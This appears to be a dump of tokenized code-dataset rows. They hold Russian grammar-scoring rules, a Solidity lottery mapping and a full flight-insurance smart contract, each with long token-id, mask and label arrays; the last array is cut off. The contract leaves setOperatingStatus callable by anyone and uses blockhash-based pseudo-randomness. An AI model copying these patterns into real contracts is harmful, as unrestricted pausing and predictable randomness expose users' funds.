tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:доставлять{}."ей"{падеж:твор} }
then -5
}
// Ей доставило немало удовольствия унизить меня.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:доставить{}."ей"{падеж:твор} }
then -5
}
// Ей отдается вся энергия творящего артиста.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:отдаваться{}."ей"{падеж:твор} }
then -5
}
// Ей заранее был известен результат взрыва.
tree_scorer ВалентностьГлагола language=Russian
{
if context { прилагательное:*{краткий}."ей"{падеж:твор} }
then -2
}
// Ей ставят капельницы и делают уколы.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:ставить{}."ей"{падеж:твор} }
then -5
}
// Ей вызвали «скорую помощь».
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:вызвать{}."ей"{падеж:твор} }
then -5
}
// Ей подражали все девушки Советского Союза.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:подражать{}."ей"{падеж:твор} }
then -5
}
// Ей разрешили оформить опеку над Сашей!
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:разрешить{}."ей"{падеж:твор} }
then -5
}
// Ей Самсонова подавай, шофера автобазы!
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:подавать{}."ей"{падеж:твор} }
then -5
}
// Ему это с рук не сойдет.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:сойти{}."с"."рук" }
then 5
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { "это"."с"."рук" }
then -10
}
// Ему хотелось душу из нее вытрясти.
// ~~~~~~~~~~~
tree_scorer ВалентностьГлагола language=Russian
{
if context { существительное:душа{}."из".местоимение:*{} }
then -10
}
// Ему просто не приходилось этого делать.
// ^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:делать{}."этого"{падеж:вин} }
then -10
}
// Ему хотелось драки, хотелось убить.
tree_scorer ВалентностьГлагола language=Russian
{
if context { "хотелось".<OBJECT>существительное:*{число:мн падеж:вин} }
then -5
}
// А что со мной могло случиться?
// ~~~~~~~~~~~
tree_scorer ВалентностьГлагола language=Russian
{
if context { "что".предлог:с{} }
then -10
}
// А раньше-то что молчал?
// ~~~
tree_scorer ВалентностьГлагола language=Russian
{
if context { "молчал".<OBJECT>"что" }
then -100
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { "молчал".<SUBJECT>"что" }
then -100
}
// А ты с ними по-русски говори.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:говорить{}.ПРЕДЛОГ:С{}.МЕСТОИМЕНИЕ:*{ПАДЕЖ:ТВОР} }
then 1
}
// ----------------------------------------------------------------
#define vap(v,adv,p,w) \
#begin
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:v{}.<PREPOS_ADJUNCT>ПРЕДЛОГ:p{}.<ATTRIBUTE>НАРЕЧИЕ:adv{} }
then w
}
#end
vap(стоять,впритык,к,1) // Шкаф стоит впритык к столу.
vap(стоять,вплотную,к,1) // Шкаф стоит вплотную к столу.
vap(бежать,следом,за,2) // она как раз начала бежать следом за ним
vap(быть,рядом,с,2) // он был рядом с дверью
vap(пойти,следом,за,2) // Катя пошла следом за ними.
// Я приехал в Москву одновременно с братом.
// ^^^^^^^ ^^^^^^^^^^^^^^
vap(приехать,одновременно,с,1)
vap(прийти,одновременно,с,1)
vap(прибыть,одновременно,с,1)
vap(появиться,одновременно,с,1)
// Петя положил яблоки вместе с картошкой.
// ^^^^^^^ ^^^^^^^^
vap(положить,вместе,с,1)
vap(ложить,вместе,с,1)
vap(положить,слева,от,2) // Положи книгу слева от тетради
vap(глядеть,прямо,в,5) // глядя прямо в ее круглые карие глаза, произнес
vap(посмотреть,прямо,в,5)
vap(смотреть,прямо,в,5)
vap(заглянуть,прямо,в,5)
vap(швырнуть,прямо,в,5) // Он подлетает к башне и... сейчас кибер швырнет нашего гладиатора прямо в ее пустую утробу.
vap(швырять,прямо,в,5)
vap(кинуть,прямо,в,5)
vap(кидать,прямо,в,5)
| именно твое мнение для нас крайне важно. ^^^ ^^^^^ | tree_scorer language=Russian { if context { прилагательное:важный{}.предлог:для{} } then 2 }
| 12,629,451 | [
1,
145,
121,
145,
125,
145,
118,
145,
126,
145,
126,
145,
127,
225,
146,
229,
145,
115,
145,
127,
145,
118,
225,
145,
125,
145,
126,
145,
118,
145,
126,
145,
121,
145,
118,
225,
145,
117,
145,
124,
146,
242,
225,
145,
126,
145,
113,
146,
228,
225,
145,
123,
146,
227,
145,
113,
145,
122,
145,
126,
145,
118,
225,
145,
115,
145,
113,
145,
119,
145,
126,
145,
127,
18,
10792,
3602,
12800,
5411,
3602,
20254,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3413,
67,
1017,
8922,
2653,
33,
54,
5567,
2779,
288,
309,
819,
288,
225,
145,
128,
146,
227,
145,
121,
145,
124,
145,
113,
145,
116,
145,
113,
146,
229,
145,
118,
145,
124,
146,
239,
145,
126,
145,
127,
145,
118,
30,
145,
115,
145,
113,
145,
119,
145,
126,
146,
238,
145,
122,
24647,
145,
128,
146,
227,
145,
118,
145,
117,
145,
124,
145,
127,
145,
116,
30,
145,
117,
145,
124,
146,
242,
2916,
289,
1508,
576,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/3/0xB2B9614178c975a05217A678C7Ae525184EEeebC/sources/luckyEth.sol | mapping of lottery id to group number to winners address list.
| mapping(uint256 => mapping(uint => address payable[])) lottery_winners; | 5,066,086 | [
1,
6770,
434,
17417,
387,
93,
612,
358,
1041,
1300,
358,
5657,
9646,
1758,
666,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2874,
12,
11890,
5034,
516,
2874,
12,
11890,
516,
1758,
8843,
429,
8526,
3719,
17417,
387,
93,
67,
8082,
9646,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.16;
// It's important to avoid vulnerabilities due to numeric overflow bugs
// OpenZeppelin's SafeMath library, when used correctly, protects agains such bugs
// More info: https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/november/smart-contract-insecurity-bad-arithmetic/
import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
/************************************************** */
/* FlightSurety Smart Contract */
/************************************************** */
contract FlightSuretyApp {
using SafeMath for uint256; // Allow SafeMath functions to be called for all uint256 types (similar to "prototype" in Javascript)
/********************************************************************************************/
/* DATA VARIABLES */
/********************************************************************************************/
// Registration of fifth and subsequent airlines requires multi-party consensus of 50% of registered airlines
uint256 constant MULTIPARTY_THRESHOLD = 4;
uint256 constant MULTIPARTY_CONSENSUS_DIVISOR = 2;
// Multi-party consensus for airline registration
mapping(address => address[]) private registrationByConsensus;
// Flight status codes
uint8 private constant STATUS_CODE_UNKNOWN = 0;
uint8 private constant STATUS_CODE_ON_TIME = 10;
uint8 private constant STATUS_CODE_LATE_AIRLINE = 20;
uint8 private constant STATUS_CODE_LATE_WEATHER = 30;
uint8 private constant STATUS_CODE_LATE_TECHNICAL = 40;
uint8 private constant STATUS_CODE_LATE_OTHER = 50;
address private contractOwner; // Account used to deploy contract
FlightSuretyData flightSuretyData; // Instance of FlightSuretyData
address payable public dataContractAddress;
uint256 public constant AIRLINE_MIN_FUND = 10 ether; //minimum fund required to participate in contract
uint256 public constant MAX_INSURANCE_AMOUNT = 1 ether;
/********************************************************************************************/
/* FUNCTION MODIFIERS */
/********************************************************************************************/
// Modifiers help avoid duplication of code. They are typically used to validate something
// before a function is allowed to be executed.
/**
* @dev Modifier that requires the "operational" boolean variable to be "true"
* This is used on all state changing functions to pause the contract in
* the event there is an issue that needs to be fixed
*/
modifier requireIsOperational() {
require(
flightSuretyData.isOperational(),
"Contract is currently not operational"
);
_;
}
/**
* @dev Modifier that requires the "ContractOwner" account to be the function caller
*/
/*
modifier requireContractOwner() {
require(msg.sender == contractOwner, "Caller is not contract owner");
_;
}
*/
/**
* @dev Modifier that requires the caller to be a registered airline
*/
modifier requireRegisteredAirline() {
require(
flightSuretyData.isAirlineRegistered(msg.sender),
"Caller is not a registered airline"
);
_;
}
/**
* @dev Modifier that requires airline to be funded
*/
modifier requireAirlineIsFunded(address airline) {
require(
flightSuretyData.isAirlineFunded(airline) || msg.sender == contractOwner,
"Airline is not funded"
);
_;
}
/********************************************************************************************/
/* EVENTS */
/********************************************************************************************/
event AirlineRegistered(string name, address addr, uint256 votes);
event AirlineFunded(address addr, uint256 amount);
event FlightRegistered(address indexed airline, string flight);
event FlightInsurancePurchased(address indexed passenger, uint256 amount);
event InsurancePayout(address indexed airline, string flight);
event RefundWithdrawal(address indexed passenger);
/********************************************************************************************/
/* CONSTRUCTOR */
/********************************************************************************************/
/**
* @dev Contract constructor
*
*/
constructor(address payable dataContract) public {
contractOwner = msg.sender;
dataContractAddress = dataContract;
flightSuretyData = FlightSuretyData(dataContract);
}
/********************************************************************************************/
/* UTILITY FUNCTIONS */
/********************************************************************************************/
function isOperational() public view returns (bool) {
return flightSuretyData.isOperational();
}
function setOperatingStatus(bool mode) public {
flightSuretyData.setOperatingStatus(mode);
}
/********************************************************************************************/
/* SMART CONTRACT FUNCTIONS */
/********************************************************************************************/
/*------------------------------------------------------------------------------------------*/
/* AIRLINE FUNCTIONS */
/*------------------------------------------------------------------------------------------*/
/**
* @dev Add an airline to the registration queue
*
*/
function registerAirline(string calldata name, address airline)
external
requireIsOperational
requireAirlineIsFunded(msg.sender)
returns (bool success, uint256 votes)
{
bool registered = false;
uint256 numberOfregisteredAirlines = flightSuretyData.getRegisteredAirlineCount();
// Register first airline
if (numberOfregisteredAirlines == 0) {
flightSuretyData.registerAirline(name, airline);
registered = true;
} else if (numberOfregisteredAirlines < MULTIPARTY_THRESHOLD) {
flightSuretyData.registerAirline(name, airline);
registered = true;
} else {
// Multiparty Consensus:
// Registration of fifth and subsequent airlines requires multi-party consensus of 50% of registered airlines
bool alreadyVoted = false;
for (uint256 i = 0; i < registrationByConsensus[airline].length; i++) {
if (registrationByConsensus[airline][i] == msg.sender) {
alreadyVoted = true;
break;
}
}
if (!alreadyVoted) {
registrationByConsensus[airline].push(msg.sender);
if (
registrationByConsensus[airline].length >=
numberOfregisteredAirlines.div(MULTIPARTY_CONSENSUS_DIVISOR)
) {
flightSuretyData.registerAirline(name, airline);
registered = true;
}
}
}
if (registered){
emit AirlineRegistered(
name,
airline,
registrationByConsensus[airline].length
);
return (true, registrationByConsensus[airline].length);
}
return (false, registrationByConsensus[airline].length);
}
/**
* @dev Returns airline name
*
*/
function getAirlineName(address airline)
external
view
requireIsOperational
returns (string memory)
{
return flightSuretyData.getAirlineName(airline);
}
/**
* @dev Returns the minimum number of votes required to register an airline
*
*/
function getRequiredVotes()
external
view
requireIsOperational
returns (uint256 votes)
{
uint256 numberOfregisteredAirlines = flightSuretyData.getRegisteredAirlineCount();
return numberOfregisteredAirlines.div(MULTIPARTY_CONSENSUS_DIVISOR);
}
/**
* @dev Returns the current number of registration votes for an airline
*
*/
function getVotes(address airline)
external
view
requireIsOperational
returns (uint256 votes)
{
return registrationByConsensus[airline].length;
}
/**
* @dev Checks whether an airline is registered
*
*/
function isAirlineRegistered(address airline)
external
view
requireIsOperational
returns (bool) {
return flightSuretyData.isAirlineRegistered(airline);
}
/**
* @dev Check whether an airline is registered by name
*/
function isAirlineNameRegistered(string calldata airlineName)
external
view
requireIsOperational
returns (bool)
{
return flightSuretyData.isAirlineNameRegistered(airlineName);
}
/**
* @dev funding a registered airline.
*
*/
function fundAirline()
external
payable
requireIsOperational
requireRegisteredAirline
{
require(
msg.value == AIRLINE_MIN_FUND,
"10 Ether is required for funding"
);
dataContractAddress.transfer(msg.value);
flightSuretyData.fundAirline(msg.sender);
emit AirlineFunded(msg.sender, msg.value);
}
/**
* @dev Checks whether an airline paid its seed fund.
*
*/
function isAirlineFunded(address airline)
external
view
requireIsOperational
returns (bool) {
return flightSuretyData.isAirlineFunded(airline);
}
/**
* @dev Register a future flight for insuring.
*
*/
function registerFlight(string calldata flight, uint256 departureTime)
external
requireIsOperational
requireAirlineIsFunded(msg.sender)
{
flightSuretyData.registerFlight(
msg.sender,
flight,
departureTime,
STATUS_CODE_UNKNOWN
);
emit FlightRegistered(msg.sender, flight);
}
/**
* @dev Returns all registered flights of an airline.
*
*/
function getFlights(address airline)
external
view
requireIsOperational
returns (bytes32[] memory) {
return flightSuretyData.getFlights(airline);
}
/**
* @dev Checks whether a flight is registered.
*
*/
function isFlightRegistered(
address airline,
string memory flight,
uint256 departureTime
) public view requireIsOperational returns (bool) {
bytes32 key = getFlightKey(airline, flight, departureTime);
return flightSuretyData.isFlightRegistered(key);
}
function getFlightKeys()
external
view
requireIsOperational
returns (bytes32[] memory) {
return flightSuretyData.getFlightKeys();
}
function getFlight(bytes32 flightKey)
external
view
requireIsOperational
returns (
address airline,
string memory flight,
uint256 departureTime,
uint8 statusCode
)
{
return flightSuretyData.getFlight(flightKey);
}
/**
* @dev Called after oracle has updated flight status
*
*/
function processFlightStatus(
address airline,
string memory flight,
uint256 departureTime,
uint8 statusCode
) internal requireIsOperational {
bytes32 key = getFlightKey(airline, flight, departureTime);
flightSuretyData.updateFlightStatus(statusCode, key);
if (statusCode == STATUS_CODE_LATE_AIRLINE) {
flightSuretyData.creditInsurees(key);
emit InsurancePayout(airline, flight);
}
}
/**
* @dev Generate a request for oracles to fetch flight information
*
*/
function fetchFlightStatus(
address airline,
string calldata flight,
uint256 departureTime
) external requireIsOperational {
uint8 index = getRandomIndex(msg.sender);
// Generate a unique key for storing the request
bytes32 key =
keccak256(abi.encodePacked(index, airline, flight, departureTime));
oracleResponses[key] = ResponseInfo({
requester: msg.sender,
isOpen: true
});
emit OracleRequest(index, airline, flight, departureTime);
}
/**
* @dev Checks whetehr a flight is delayed (status code 20)
*/
function IsFlightDelayed(bytes32 flightKey)
external
view
requireIsOperational
returns (bool)
{
return flightSuretyData.IsFlightDelayed(flightKey);
}
function getFlightKey(
address airline,
string memory flight,
uint256 departureTime
) internal view requireIsOperational returns (bytes32) {
return keccak256(abi.encodePacked(airline, flight, departureTime));
}
/*------------------------------------------------------------------------------------------*/
/* PASSENGERS FUNCTIONS */
/*------------------------------------------------------------------------------------------*/
/**
* @dev Buy insurance for a flight
*
*/
function buyInsurance(
address airline,
string calldata flight,
uint256 departureTime
) external payable requireIsOperational {
require(
msg.value <= MAX_INSURANCE_AMOUNT,
"Passenger can buy insurance for a maximum of 1 ether"
);
address(uint160(address(flightSuretyData))).transfer(msg.value);
flightSuretyData.buyInsurance(
airline,
flight,
departureTime,
msg.sender,
msg.value
);
emit FlightInsurancePurchased(msg.sender, msg.value);
}
/**
* @dev Returns all insured passengers of a flight
*/
function getInsurees(bytes32 flightKey)
external
view
requireIsOperational
returns (address[] memory)
{
return flightSuretyData.getInsurees(flightKey);
}
/**
* @dev Returns paid insurance premium by flight info
*
*/
function getPremium(
address airline,
string calldata flight,
uint256 departureTime
) external view returns (uint256) {
return
flightSuretyData.getPremium(
airline,
flight,
departureTime,
msg.sender
);
}
/**
* @dev Returns paid insurance premium by flight key and passenger
*
*/
function getPremium(bytes32 flightKey, address passenger)
external
view
requireIsOperational
returns (uint256)
{
return flightSuretyData.getPremium(flightKey, passenger);
}
/**
* @dev Returns passenger refunded amount by flight info
*
*/
function getPayOutAmount(
address airline,
string calldata flight,
uint256 departureTime
) external view returns (uint256) {
return
flightSuretyData.getPayOutAmount(
airline,
flight,
departureTime,
msg.sender
);
}
/**
* @dev Returns passenger refunded amount by flight key and passenger
*
*/
function getPayOutAmount(bytes32 flightKey, address passenger)
external
view
requireIsOperational
returns (uint256)
{
return flightSuretyData.getPayOutAmount(flightKey, passenger);
}
/**
* @dev Checks whether insurance was paid to passengers
*
*/
function isInsurancePaidOut(
address airline,
string calldata flight,
uint256 departureTime
) external view requireIsOperational returns (bool) {
bytes32 key = getFlightKey(airline, flight, departureTime);
return flightSuretyData.isInsurancePaidOut(key);
}
/**
* @dev Returns passenger total refunds (multiple flights)
*
*/
function getBalance()
external
view
requireIsOperational
returns (uint256) {
return flightSuretyData.getBalance(msg.sender);
}
function withdrawRefund() external requireIsOperational {
flightSuretyData.payInsuree(msg.sender);
emit RefundWithdrawal(msg.sender);
}
/*------------------------------------------------------------------------------------------*/
/* ORACLE MANAGEMENT */
/*------------------------------------------------------------------------------------------*/
// Incremented to add pseudo-randomness at various points
uint8 private nonce = 0;
// Fee to be paid when registering oracle
uint256 public constant REGISTRATION_FEE = 1 ether;
// Number of oracles that must respond for valid status
uint256 private constant MIN_RESPONSES = 3;
struct Oracle {
bool isRegistered;
uint8[3] indexes;
}
// Track all registered oracles
mapping(address => Oracle) private oracles;
// Model for responses from oracles
struct ResponseInfo {
address requester; // Account that requested status
bool isOpen; // If open, oracle responses are accepted
mapping(uint8 => address[]) responses; // Mapping key is the status code reported
// This lets us group responses and identify
// the response that majority of the oracles
}
// Track all oracle responses
// Key = hash(index, flight, departureTime)
mapping(bytes32 => ResponseInfo) private oracleResponses;
// Event fired each time an oracle submits a response
event FlightStatusInfo(
address airline,
string flight,
uint256 departureTime,
uint8 status
);
event OracleReport(
address airline,
string flight,
uint256 departureTime,
uint8 status
);
// Event fired when flight status request is submitted
// Oracles track this and if they have a matching index
// they fetch data and submit a response
event OracleRequest(
uint8 index,
address airline,
string flight,
uint256 departureTime
);
// Register an oracle with the contract
function registerOracle() external payable requireIsOperational {
// Require registration fee
require(msg.value >= REGISTRATION_FEE, "Registration fee is required");
uint8[3] memory indexes = generateIndexes(msg.sender);
oracles[msg.sender] = Oracle({isRegistered: true, indexes: indexes});
}
function isOracleRegistered(address oracleAddress)
public
view
requireIsOperational
returns (bool)
{
return oracles[oracleAddress].isRegistered;
}
function getOracleRegistrationFee()
external
view
requireIsOperational
returns (uint256) {
return REGISTRATION_FEE;
}
function getMyIndexes()
external
view
requireIsOperational
returns (uint8[3] memory) {
require(
oracles[msg.sender].isRegistered,
"Not registered as an oracle"
);
return oracles[msg.sender].indexes;
}
// Called by oracle when a response is available to an outstanding request
// For the response to be accepted, there must be a pending request that is open
// and matches one of the three Indexes randomly assigned to the oracle at the
// time of registration (i.e. uninvited oracles are not welcome)
function submitOracleResponse(
uint8 index,
address airline,
string calldata flight,
uint256 departureTime,
uint8 statusCode
) external requireIsOperational {
require(
(oracles[msg.sender].indexes[0] == index) ||
(oracles[msg.sender].indexes[1] == index) ||
(oracles[msg.sender].indexes[2] == index),
"Index does not match oracle request"
);
bytes32 key =
keccak256(abi.encodePacked(index, airline, flight, departureTime));
require(
oracleResponses[key].isOpen,
"Flight or departureTime do not match oracle request"
);
oracleResponses[key].responses[statusCode].push(msg.sender);
// Information isn't considered verified until at least MIN_RESPONSES
// oracles respond with the *** same *** information
emit OracleReport(airline, flight, departureTime, statusCode);
if (
oracleResponses[key].responses[statusCode].length >= MIN_RESPONSES
) {
emit FlightStatusInfo(airline, flight, departureTime, statusCode);
// Handle flight status as appropriate
processFlightStatus(airline, flight, departureTime, statusCode);
}
}
/*------------------------------------------------------------------------------------------*/
/* UTILITIES */
/*------------------------------------------------------------------------------------------*/
// Returns array of three non-duplicating integers from 0-9
function generateIndexes(address account)
internal
returns (uint8[3] memory)
{
uint8[3] memory indexes;
indexes[0] = getRandomIndex(account);
indexes[1] = indexes[0];
while (indexes[1] == indexes[0]) {
indexes[1] = getRandomIndex(account);
}
indexes[2] = indexes[1];
while ((indexes[2] == indexes[0]) || (indexes[2] == indexes[1])) {
indexes[2] = getRandomIndex(account);
}
return indexes;
}
// Returns array of three non-duplicating integers from 0-9
function getRandomIndex(address account) internal returns (uint8) {
uint8 maxValue = 10;
// Pseudo random number...the incrementing nonce adds variation
uint8 random =
uint8(
uint256(
keccak256(
abi.encodePacked(
blockhash(block.number - nonce++),
account
)
)
) % maxValue
);
if (nonce > 250) {
nonce = 0; // Can only fetch blockhashes for last 256 blocks so we adapt
}
return random;
}
// endregion
}
/********************************************************************************************/
/* STUBS FOR DATA CONTRACT */
/********************************************************************************************/
contract FlightSuretyData {
function isOperational() external view returns (bool);
function setOperatingStatus(bool mode) external;
function registerAirline(string calldata name, address airline) external;
function getAirlineName(address airline) external view returns (string memory);
function isAirlineRegistered(address airline) external view returns (bool);
function isAirlineNameRegistered(string calldata airlineName) external view returns (bool);
function getRegisteredAirlineCount() external view returns (uint256);
function isAirlineFunded(address airline) external view returns (bool);
function registerFlight(
address airline,
string calldata flight,
uint256 departureTime,
uint8 statusCode
) external;
function fundAirline(address airline) external;
function getFlights(address airline) external view returns (bytes32[] memory);
function getFlightKeys() external view returns (bytes32[] memory);
function getFlight(bytes32 flightKey)
external
view
returns (
address airline,
string memory flight,
uint256 departureTime,
uint8 statusCode
);
function IsFlightDelayed(bytes32 flightKey) external view returns (bool);
function isFlightRegistered(bytes32 flightKey) external view returns (bool);
function updateFlightStatus(uint8 statusCode, bytes32 flightKey) external;
function buyInsurance(
address airline,
string calldata flight,
uint256 departureTime,
address passenger,
uint256 amount
) external;
function getInsurees(bytes32 flightKey)
external
view
returns (address[] memory);
function getPremium(
address airline,
string calldata flight,
uint256 departureTime,
address passenger
) external view returns (uint256);
function getPremium(bytes32 flightKey, address passenger)
external
view
returns (uint256);
function getPayOutAmount(
address airline,
string calldata flight,
uint256 departureTime,
address passenger
) external view returns (uint256);
function getPayOutAmount(bytes32 flightKey, address passenger)
external
view
returns (uint256);
function creditInsurees(bytes32 flightKey) external;
function isInsurancePaidOut(bytes32 flightKey) external view returns (bool);
function getBalance(address passenger) external view returns (uint256);
function payInsuree(address payable insuree) external;
}
| * @dev Returns airline name/ | function getAirlineName(address airline)
external
view
requireIsOperational
returns (string memory)
{
return flightSuretyData.getAirlineName(airline);
}
| 12,825,300 | [
1,
1356,
23350,
1369,
508,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
4506,
481,
1369,
461,
12,
2867,
23350,
